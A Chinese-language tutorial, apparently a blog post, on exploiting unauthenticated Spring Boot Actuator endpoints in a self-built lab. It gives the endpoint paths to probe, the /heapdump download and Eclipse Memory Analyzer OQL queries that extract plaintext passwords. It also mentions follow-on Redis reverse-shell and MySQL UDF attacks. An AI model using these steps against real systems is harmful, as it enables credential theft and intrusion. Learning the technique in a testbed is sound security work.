Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。
如上所言,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:
环境搭建:
搜了一圈,没有现成的靶场,无奈自己maven了一个,毕竟是组件漏洞,图上有些页面是没有的,需要额外扩展。
SpringBoot 版本1.x的 ,直接getshell 是不可能的,所以后续环境搭建ok了 我会写出来。不过 这次的质量也还行,如果里面有很多数据库,那么所有的密码 都可以抓取出来。如 mysql ,后续可udf提取,redis 反弹shell之类的。
我使用的系统是Centos 7.6
yum install maven -y git clone https://github.com/veracode-research/actuator-testbed cd actuator-testbed mvn spring-boot:run
一套操作,就启动了,默认端口8090.后续可以改端口在这里
# 可以使用find 命令 快速定位文件位置 find / -name "application.properties"
配置文件更改ip 端口 数据库账号信息等等 是这个样子
安装好后的页面是这样
如何判断是否使用了 springboot框架? ioc图标,index页面
如何端口是否有漏洞?
spring boot 1.x ip/域名后面加上 /env
spring boot 2.x ip/域名后面加上 /actuator
访问所有数据 google 是这样的
火狐是这样的
下面翻 可以看到有mysql数据库 也有对应的用户名密码,吐槽下,网上有些人瞎说,不管springboot版本是多少,密码都是加密的,而不是明文的。
下载内存中的数据,抓取密码。这是使用这个工具
使用 Eclipse Memory Analyzer 工具的 OQL 语句
https://www.eclipse.org/mat/downloads.php
导出数据
http://10.0.0.35:8090/heapdump
就会生成一个包,直接拖进去。
输入语句查询密码 注意框架版本
# spring_boot 1.x select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) # spring_boot 2.x select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
然后点击红色杠杠
然后就出现了 出现两次
对比配置文件里的密码 结果是一样的
ok 结束。SpringBoot Actuator未授权抓取密码